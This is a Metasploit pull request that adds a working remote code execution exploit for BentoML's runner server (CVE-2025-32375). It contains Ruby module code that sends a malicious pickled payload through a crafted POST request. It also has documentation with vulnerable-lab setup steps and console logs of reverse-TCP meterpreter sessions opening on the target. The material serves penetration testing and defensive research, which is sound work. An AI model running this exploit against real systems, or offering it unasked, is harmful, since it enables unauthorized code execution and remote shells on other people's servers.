Merge pull request #20046 from Takahiro-Yoko/bentoml_runner_server_rce_cve_2025_32375

Add BentoML's runner server unauth RCE module (CVE-2025-32375)
This commit is contained in:
jheysel-r7
2025-04-22 12:32:08 -07:00
committed by GitHub
2 changed files with 275 additions and 0 deletions
@@ -0,0 +1,165 @@
## Vulnerable Application
There was an insecure deserialization in BentoML's runner server.
By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server,
which will grant the attackers to have the initial access and information disclosure on the server.
The vulnerability affects:
* 1.0.0a1 <= BentoML < 1.4.8
This module was successfully tested on:
* BentoML 1.3.5 installed on Ubuntu 20.04
### Installation
1. `pip install -U bentoml==1.3.5`
2. Create a file named model.py to create a simple model and save it:
```python3
import bentoml
import numpy as np
class mymodel:
def predict(self, info):
return np.abs(info)
def __call__(self, info):
return self.predict(info)
model = mymodel()
bentoml.picklable_model.save_model("mymodel", model)
```
3. Run the following command to save this model: `python3 model.py`
4. Create bentofile.yaml to build this model:
```yml
service: "service.py"
description: "A model serving service with BentoML"
python:
packages:
- bentoml
- numpy
models:
- tag: MyModel:latest
include:
- "*.py"
```
5. Create service.py to host this model:
```python3
import bentoml
from bentoml.io import NumpyNdarray
import numpy as np
model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner()
svc = bentoml.Service("myservice", runners=[model_runner])
async def predict(input_data: np.ndarray):
input_columns = np.split(input_data, input_data.shape[1], axis=1)
result_generator = model_runner.async_run(input_columns, is_stream=True)
async for result in result_generator:
yield result
```
6. Run the following commands to build and host this model:
```bash
bentoml build
bentoml start-runner-server --runner-name mymodel --working-dir . --host 0.0.0.0
```
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375`
4. Do: `run lhost=<lhost> rhost=<rhost>`
5. You should get a meterpreter
## Options
## Scenarios
### Python payload
```
msf6 > use exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > options
Module options (exploit/linux/http/bentoml_runner_server_rce_cve_2025_32375):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 3000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Python payload
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Python\ payload
target => Python payload
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. BentoML's runner server detected.
[*] Sending stage (24772 bytes) to 192.168.56.15
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.15:47712) at 2025-04-17 20:29:12 +0900
meterpreter > getuid
Server username: ubu
meterpreter > sysinfo
Computer : vul
OS : Linux 5.4.0-212-generic #232-Ubuntu SMP Sat Mar 15 15:34:35 UTC 2025
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
```
### Linux command
```
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > set target Linux\ Command
target => Linux Command
msf6 exploit(linux/http/bentoml_runner_server_rce_cve_2025_32375) > run lhost=192.168.56.1 rhost=192.168.56.15
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. BentoML's runner server detected.
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.15:43432) at 2025-04-17 20:29:48 +0900
meterpreter > getuid
Server username: ubu
meterpreter > sysinfo
Computer : 192.168.56.15
OS : Ubuntu 20.04 (Linux 5.4.0-212-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,110 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BentoML\'s runner server RCE',
'Description' => %q{
There was an insecure deserialization in BentoML's runner server prior to version 1.4.8.
By setting specific headers and parameters in the POST request, it is possible to execute unauthorized arbitrary code in the context of the user running the server,
which will grant initial access and information disclosure.
},
'Author' => [
'SeaWind', # Vulnerability discovery and PoC
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-32375'],
['URL', 'https://github.com/advisories/GHSA-7v4r-c989-xh26'],
],
'Targets' => [
[
'Python payload',
{
'Arch' => ARCH_PYTHON,
'Platform' => 'python',
'Type' => :python,
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
}
],
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
'DefaultOptions' => {
# defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
}
}
],
],
'DefaultOptions' => {
'FETCH_DELETE' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => '2025-04-09',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
Opt::RPORT(3000)
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'metrics')
})
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
return Exploit::CheckCode::Unknown('BentoML\'s runner server not detected.') unless res&.get_html_document&.text&.include?('bentoml_runner')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'readyz')
})
return Exploit::CheckCode::Unknown('BentoML\'s runner server not ready.') unless res&.code == 200
Exploit::CheckCode::Detected("BentoML\'s runner server detected.")
# Version check not available
end
def exploit
if target['Type'] == :python
pl = payload.encoded
else
pl = "import os;os.system(\"\"\"\n#{payload.encoded}\n\"\"\")"
end
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'args-number' => '1',
'Content-Type' => 'application/vnd.bentoml.pickled',
'Payload-Container' => 'NdarrayContainer',
'Payload-Meta' => '{"format": "default"}',
'Batch-Size' => '-1'
},
'data' => Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, pl)
})
# No response check here
end
end